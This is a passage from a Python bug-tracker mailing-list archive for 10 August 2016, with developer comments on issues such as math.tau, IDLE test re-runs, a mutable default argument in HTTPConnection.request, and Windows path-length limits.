2016 17:28:33 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470850113.13.0.844275582192.issue26081@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Implementing full behavior of generator seems difficult to me. I'll implement minimum implementation in next patch. Sure, but you have to implement send() and throw(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:30:26 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 17:30:26 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <1470850226.21.0.770125617636.issue27380@psf.upfronthosting.co.za> Terry J. Reedy added the comment: While still curious if the Mac specific code is correct, I changed test to match the code. Someone please check by running at least test_idle after pulling. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:31:40 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 17:31:40 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470850300.45.0.777036500725.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Mark, the 'question above' was actually posted to #27380, the original query issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:32:01 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:32:01 +0000 Subject: [issue12290] __setstate__ is called for false values In-Reply-To: <1307586060.34.0.652262251036.issue12290@psf.upfronthosting.co.za> Message-ID: <1470850321.83.0.552218969884.issue12290@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- versions: +Python 3.5, Python 3.6 -Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:32:55 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:32:55 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470850375.67.0.258734778774.issue16764@psf.upfronthosting.co.za> St?phane Wirtel added the comment: martin or serhiy, can we move this issue to 3.6 ? ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:48:59 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:48:59 +0000 Subject: [issue18880] ssl.SSLSocket shutdown doesn't behave like socket.shutdown In-Reply-To: <1377812218.52.0.68669263864.issue18880@psf.upfronthosting.co.za> Message-ID: <1470851339.57.0.797156770337.issue18880@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Christian, What do you think about this issue ? 1. Fix for 3.5 and 3.6 2. Maybe for 2.7 ? ---------- assignee: -> christian.heimes nosy: +christian.heimes, matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:49:18 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:49:18 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470851358.71.0.864619008232.issue6057@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:58:34 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:58:34 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers Message-ID: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> New submission from St?phane Wirtel: http.client.HTTPConnection.request, the argument 'headers' has a default value, and this one is a mutable (dict). ---------- messages: 272352 nosy: matrixise priority: normal severity: normal status: open title: HTTPConnection.requests has a mutable as default value for headers versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:59:04 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:59:04 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470851944.26.0.575867008503.issue27728@psf.upfronthosting.co.za> St?phane Wirtel added the comment: here is my patch for that. ---------- keywords: +patch Added file: http://bugs.python.org/file44070/issue27728.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:02:00 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 18:02:00 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470852120.51.0.793251465078.issue12319@psf.upfronthosting.co.za> St?phane Wirtel added the comment: When I have read the last patch, I have seen a mutable as the default value of the HTTPConnection.request method. I have proposed this issue and the attached patch http://bugs.python.org/issue27728 ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:06:41 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 18:06:41 +0000 Subject: [issue27200] make doctest in CPython has failures In-Reply-To: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> Message-ID: <1470852401.19.0.657487240661.issue27200@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for creating all the patches! If you create further issues for this, feel free to make me nosy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:11:55 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 10 Aug 2016 18:11:55 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470852715.63.0.870799625557.issue27728@psf.upfronthosting.co.za> SilentGhost added the comment: Why is that an issue? ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:19:02 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 10 Aug 2016 18:19:02 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470853142.66.0.354884529009.issue16764@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PyArg_ParseTupleAndKeywords() and Argument Clinic now support positional-only arguments. Thus this my objection can be resolved. But performance argument still needs an investigation. In any case the patch needs updating, since the zlib module was rewritten for using Argument Clinic. ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:45:17 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 18:45:17 +0000 Subject: [issue27584] New addition of vSockets to the python socket module In-Reply-To: <1469115390.74.0.838831983223.issue27584@psf.upfronthosting.co.za> Message-ID: <1470854717.83.0.712807420646.issue27584@psf.upfronthosting.co.za> R. David Murray added the comment: Looks like there's a missing versionadded directive in the doc patch. Is it possible/sensible to add tests for the new feature? (I haven't reviewed the patch in detail, hopefully someone with more experience with C socket programming than I have will do that.) ---------- nosy: +r.david.murray stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 14:53:43 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 18:53:43 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470855223.32.0.177208503656.issue27728@psf.upfronthosting.co.za> R. David Murray added the comment: Well, it's a problem in general because if the called routine modifies the default dict...the default is modified. I'm guessing it is never modified, but it is indeed better future proofing of the code to not use a mutable default in a routine that passes the variable to other functions, as this one does. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:10:39 2016 From: report at bugs.python.org (John Ehresman) Date: Wed, 10 Aug 2016 19:10:39 +0000 Subject: [issue27286] str object got multiple values for keyword argument In-Reply-To: <1465551431.42.0.267871198404.issue27286@psf.upfronthosting.co.za> Message-ID: <1470856239.6.0.500459176652.issue27286@psf.upfronthosting.co.za> John Ehresman added the comment: Should the bytecode magic number be bumped in the 3.5 branch? This breaks .pyc / .pyo binary compatibility for python 3.5. As far as I can tell this has never been done before in a release after the major.minor.0 final release. This patch has made its way into debian's python 3.5 and I've gotten a bug report because of it for an app distributed without python source. Looking at the 3.5.2 tarball, it does not look like the change was included in 3.5.2. If the magic number is bumped in 3.5, the comment should be changed to reflect that it changes in 3.5.3 and not in 3.5.2 ---------- nosy: +jpe _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:14:53 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 19:14:53 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470856493.36.0.0903121603681.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: For test_textview, I triggered the symptom -- 4 'TV' NameErrors on re-run, by (temporarily) adding 1/0 to tearDownModule and running with -w. After removing the TV deletion, only the ZeroDivisionError remained. This experiment also resulted in a '''can't invoke "event" command: application has been destroyed''' message. For me it only happens on the re-run, not in the first run. In verbose mode, it follows the one test in test_config_key. Converting the test to 'pass' proved it to be the source. Looking at the code, I could not find any obvious callback that would be left behind. Adding 'root.update() stops the message. (Adding root.update_idletasks() did not.) In the output quoted above, the same message is shown for the non-verbose initial run, If from the same cause, the same fix might work on Mac also. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:15:43 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 19:15:43 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <20160810191539.11487.92988.2F48A851@psf.io> Roundup Robot added the comment: New changeset b10a312f6d00 by Terry Jan Reedy in branch 'default': Issue #27714: text_textview now passes when re-run in the same process https://hg.python.org/cpython/rev/b10a312f6d00 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:16:29 2016 From: report at bugs.python.org (Cathy Avery) Date: Wed, 10 Aug 2016 19:16:29 +0000 Subject: [issue27584] New addition of vSockets to the python socket module In-Reply-To: <1469115390.74.0.838831983223.issue27584@psf.upfronthosting.co.za> Message-ID: <1470856589.36.0.0882466275845.issue27584@psf.upfronthosting.co.za> Cathy Avery added the comment: Sure I can add tests. I would like to base them on the existing socket tests. Where are those? I did add a version + .. versionadded:: 3.4 It just not may not be the right one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:20:50 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 19:20:50 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470856850.62.0.733871389184.issue27728@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Thanks R.David.Murray, @SilentGhost in fact, in this code, it's not an issue but we use a bad practice and not a good practice with a mutable value. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:30:22 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 10 Aug 2016 19:30:22 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470857422.74.0.118423756246.issue27726@psf.upfronthosting.co.za> Ned Deily added the comment: It seems that there are a bunch of different ctags and ctags-like programs out there. I don't use ctags myself (nor the "make tags" build step) and I don't know how other programs use the tags file it produces so I don't really have an opinion one way or the other. All I can say is that, after a quick check on the two systems I'm most familiar with, each with a different version of ctags (GNU ctags on Debian and a version of BSD tags on OS X), for both the -t option is functional and the resulting tags files with and without the -t step in the Makefile recipe are different. It may be that the extra entries produced by the -t step are just redundant. So, without spending more time on this right now, I would be willing to apply a patch that ignores an error if -t is missing. Otherwise, if someone is certain there is no loss of functionality on our supported platforms by removing the -t step, they are welcome to apply the existing patch. ---------- assignee: ned.deily -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:32:34 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 19:32:34 +0000 Subject: [issue27584] New addition of vSockets to the python socket module In-Reply-To: <1469115390.74.0.838831983223.issue27584@psf.upfronthosting.co.za> Message-ID: <1470857554.07.0.0308000080046.issue27584@psf.upfronthosting.co.za> R. David Murray added the comment: Ah, I see. No, the versionadded will be 3.6, and should go *after* the documentation of the new socket type. The existing socket tests are in Lib/test/test_socket.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:39:59 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 10 Aug 2016 19:39:59 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <1470857999.22.0.816071479428.issue27380@psf.upfronthosting.co.za> Ned Deily added the comment: With 8f37d772f71f, the test no longer fails. Thanks! ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:46:19 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 10 Aug 2016 19:46:19 +0000 Subject: [issue27286] str object got multiple values for keyword argument In-Reply-To: <1465551431.42.0.267871198404.issue27286@psf.upfronthosting.co.za> Message-ID: <1470858379.44.0.996832014333.issue27286@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Bytecode generated by 3.5.1 is not correct (wrong error message can be not the only effect). The only way to resolve this issue is regenerating the bytecode. 3.5.2 was released two weeks after committing this patch. I expected it includes this change. ---------- nosy: +larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 15:51:20 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 10 Aug 2016 19:51:20 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470858680.82.0.127242951459.issue27714@psf.upfronthosting.co.za> Ned Deily added the comment: Terry, b10a312f6d00 appears to fix most of the issue, that is, if I insert a deliberate failure into another IDLE test and use -w without -j, the four repeatable errors I identified above no longer occur. Thanks. However, the fifth, timing-dependent error still occurs during the -w rerun perhaps ever 5th run or so. It might be worth pursuing to help squash other intermittent results: ====================================================================== ERROR: setUpClass (idlelib.idle_test.test_autocomplete.AutoCompleteTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/py/dev/3x/root/fwd_macports/Library/Frameworks/pytest_10.12.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_autocomplete.py", line 34, in setUpClass macosx.setupApp(cls.root, None) File "/py/dev/3x/root/fwd_macports/Library/Frameworks/pytest_10.12.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 245, in setupApp overrideRootMenu(root, flist) File "/py/dev/3x/root/fwd_macports/Library/Frameworks/pytest_10.12.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 215, in overrideRootMenu del mainmenu.menudefs[-1][1][0] IndexError: list assignment index out of range ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:01:27 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 10 Aug 2016 20:01:27 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1470859287.83.0.130225248598.issue17153@psf.upfronthosting.co.za> Vinay Sajip added the comment: Could you point to some suitable projects from GitHub whose tarballs fail on 3.5 / 3.6? My script in the first post, with the replacing of "unicode(...)" with "str(...)" and my original failing archive, works on Python 3.5 and 3.6 on Linux. Which platform have you seen failures on? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:03:59 2016 From: report at bugs.python.org (Dhiraj) Date: Wed, 10 Aug 2016 20:03:59 +0000 Subject: [issue27502] Python -m Module Vulnerable to Buffer Over Flow. In-Reply-To: <1468350573.84.0.544949544506.issue27502@psf.upfronthosting.co.za> Message-ID: <1470859439.25.0.590662149925.issue27502@psf.upfronthosting.co.za> Dhiraj added the comment: Sorry , for replying to late , But yes if the script is run , again and again the application throws the python error and the Server gets crashed. I request to have a look on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:11:26 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 20:11:26 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470859886.26.0.158575410069.issue27728@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:17:16 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 20:17:16 +0000 Subject: [issue27502] Python -m Module Vulnerable to Buffer Over Flow. In-Reply-To: <1468350573.84.0.544949544506.issue27502@psf.upfronthosting.co.za> Message-ID: <1470860236.69.0.53746543083.issue27502@psf.upfronthosting.co.za> R. David Murray added the comment: A python traceback is not in and of itself a security issue. Based on your program name, I am guessing you are trying to "break" python. That's fine, but if you want us to take action on a bug report like this you are going to have to do more work in characterizing the problem and identifying an actual bug. It isn't even obvious from what you've supplied that there is a bug (it looks like it could be a networking error). Also, in the future please post individual files rather than a zip file, since they are much easier to review. You don't indicate which version of python you are running, so I'm clearing the versions. ---------- type: security -> behavior versions: -Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:31:01 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 10 Aug 2016 20:31:01 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470861061.95.0.193121295206.issue12345@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Perhaps minds are already made up, but this may be the last chance to say that I think that this shouldn't go forward. * The push to use of "tau" has the flavor a political fad or wishful thinking that may or may not succeed. The math module should only implement established practice. * Since not everyone knows or uses tau, its use would tend to make code less clear. As a reviewer, I would ask that code like "from math import tau" to be changed to "from math import tau as twopi". The latter is more clear to most users (how many people would recognize "tau * r" when it occurs in the middle of a larger expression?). * I've surveyed engineers in my recent Python courses (often with Physics, EE, MaterialScience, DSP, or CompSci backgrounds and not a single one of them had heard of this constant). * If people really wanted this, we would be seeing more cases of "tau = 2.0 * math.pi" in code. Google searches and Github code search shows that this is very rare. * It is already trivial to write "tau=2.0*pi" so why bother? * Adding mysteriously named constants degrades the usability of the math module where many of the tools are currently self-evident but not all ( tau is a number, gamma is a function, and what the heck is a frexp?). * Also, the name "tau" is already used for other purposes in various contexts (shear stress, proper time in relativity, torque, tau lepton, optical depth in astronomy, time contacts in RC circuits, etc). If needed, I can survey the audiences at the upcoming SF PyData conference and the SF PyBay conference to see if any of the participants have any clue what this is about and whether they would support the addition. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:36:42 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 10 Aug 2016 20:36:42 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470861402.07.0.374723302665.issue12345@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: +1 to Raymond. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:39:12 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 10 Aug 2016 20:39:12 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1470861061.95.0.193121295206.issue12345@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Noted, but it doesn't change my decision. Obscure fact: did you know there are also branches of mathematics and engineering that define pi to for something else? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:39:30 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 10 Aug 2016 20:39:30 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470861570.35.0.850849289496.issue12345@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Agreed with Raymond's arguments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:41:00 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Wed, 10 Aug 2016 20:41:00 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470861660.46.0.0584306476509.issue12345@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: I also agree with Raymond's arguments. Adding tau doesn't add clarity to the math module, it just adds complexity. ---------- nosy: +Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 16:54:51 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 20:54:51 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <20160810205447.3276.24461.01119F83@psf.io> Roundup Robot added the comment: New changeset dc31fa499359 by Terry Jan Reedy in branch '3.5': Issue #27714: text_textview now passes when re-run in the same process https://hg.python.org/cpython/rev/dc31fa499359 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 18:18:55 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 22:18:55 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470867535.16.0.486477429205.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I agree. The issue may come up with other tests in the future. I just decided to do the part I knew how to do first ;-). For #18409, I added the mac call to Phil's original patch with the vague comment "now needed to run without raising". But it is not needed on Windows. I suspect that the then new IDLE GSOC student, S.H., had emailed me after reviewing existing work. He mostly worked on Linux, but I believe he had access to a Mac. setupApp calls 4 fixup functions. I am pretty sure that that the test itself does not need the failing menu fix overrideRootMenu, at least not now. (The case might be different if I ever add live EditorWindow tests.) Three days after the initial patch, the patch by S.H. for #21682 replaced EditorWindow with a mock. The reason was to stop menu leaks. But it should have also eliminated any need to patch the EditorWindow menu. Two of the functions, addOpenEventSupport and hideTkConsole don't seem like they should ever be needed. The last, should only matter for tests that generate the events involved (and only on 8.5). So what happens if you comment out line 34? macosx.setupApp(cls.root, None) If deleting the call is not possible, maybe we can replace it with something more specific. If not, then the following should work, but at the cost of masking a possible IDLE bug (unless a new _utest=False parameter is added to the signature -- but I dislike adding such complications until really needed.) first_time = True # new def setupApp(root, flist): "" if isAquaTk() and first_time: # modified first_time = False # new ... ---------- priority: low -> normal stage: -> needs patch type: -> behavior versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 18:36:12 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 22:36:12 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470868572.63.0.2191463305.issue27728@psf.upfronthosting.co.za> Martin Panter added the comment: If the code does happen to mutate the dictionary, there would still be a bug with modifying any dictionary passed in by the caller. But I suspect there is no bug. So I am not sure the change is worth it. If we do go ahead, the documentation needs updating to say None is now allowed. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 18:57:36 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 22:57:36 +0000 Subject: [issue26686] email.parser stops parsing headers too soon when given a defective message. In-Reply-To: <1459532790.12.0.415003614976.issue26686@psf.upfronthosting.co.za> Message-ID: <1470869856.15.0.874370978374.issue26686@psf.upfronthosting.co.za> Martin Panter added the comment: Thanks David. Since I am more intersted in fixing this robustly for HTTP and similar protocols, I might focus on just Issue 24363. Either confine my changes to the existing HTTP (or new) policy and start using that, or just address this from the HTTP package. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 18:59:55 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 10 Aug 2016 22:59:55 +0000 Subject: [issue27729] Provide a better error message when the file path is too long on Windows Message-ID: <1470869995.82.0.0225093644584.issue27729@psf.upfronthosting.co.za> New submission from Brett Cannon: Windows has a max path length when the path doesn't start with r'\\?\'. When you hit that limit you get a FileNotFoundError but no explanation that it was because of some file path length. It would be nice to clarify this case in the exception message (probably by changing PyErr_SetExcFromWindowsErrWithFilenameObjects() in Python/errors.c). ---------- components: Windows messages: 272382 nosy: brett.cannon, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: test needed status: open title: Provide a better error message when the file path is too long on Windows type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:02:02 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 10 Aug 2016 23:02:02 +0000 Subject: [issue27729] Provide a better error message when the file path is too long on Windows In-Reply-To: <1470869995.82.0.0225093644584.issue27729@psf.upfronthosting.co.za> Message-ID: <1470870122.48.0.953468401402.issue27729@psf.upfronthosting.co.za> Steve Dower added the comment: See https://github.com/pypa/pip/issues/3055 for an example of this error. (Also note that there is a path limit of ~32k with the prefix, and that using it also disables a lot of standard path resolution algorithms, so simply adding it everywhere does not fix anything.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:02:05 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 10 Aug 2016 23:02:05 +0000 Subject: [issue27730] Update shutil to work with max file path length on Windows Message-ID: <1470870125.62.0.00624513832595.issue27730@psf.upfronthosting.co.za> New submission from Brett Cannon: It would be nice to have a place in the stdlib that can work with long file names on Windows no matter what. shutils seems like a possibly reasonable place. ---------- components: Windows messages: 272384 nosy: brett.cannon, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Update shutil to work with max file path length on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:09:48 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 10 Aug 2016 23:09:48 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 Message-ID: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> New submission from Steve Dower: According to https://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx we can opt-out of MAX_PATH limitations on a selection of functions on the latest version of Windows 10. This will allow unprefixed paths (i.e. no "\\?\") to exceed 260 characters for many common functions. I will enable this for Python 3.6. ---------- assignee: steve.dower components: Windows messages: 272385 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Opt-out of MAX_PATH on Windows 10 type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:20:13 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 10 Aug 2016 23:20:13 +0000 Subject: [issue27730] Update shutil to work with max file path length on Windows In-Reply-To: <1470870125.62.0.00624513832595.issue27730@psf.upfronthosting.co.za> Message-ID: <1470871213.85.0.785050173072.issue27730@psf.upfronthosting.co.za> Steve Dower added the comment: Issue #27731 will resolve this for the latest versions of Windows 10, but if we want to support this for earlier versions of Windows here's the algorithm I'd suggest: * if len(path) < 260 - we're good, don't do anything * get the last '\' or '/' character before the 260th character and split the path into two parts (path1 and path2) * use CreateFile to get a handle to path1, then GetFinalPathNameByHandle to get a normalized npath1 (which will have the '\\?\' prefix) * split path2 by '/' and '\' characters, trim leading and trailing spaces from each segment, trim trailing dots from each segment, and append them to npath1 separated by '\' characters * use this normalized path instead of path It's a relatively expensive operation, but it is the most reliable way to normalize a path. The place where it'll fall down is that trimming spaces and trailing dots and replacing '/' with '\' is not guaranteed to be the only processing that is done. However, it should solve 99% of cases which is better than the 0% that currently work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:31:43 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 10 Aug 2016 23:31:43 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1470871903.01.0.962078363546.issue27731@psf.upfronthosting.co.za> Changes by Brett Cannon : 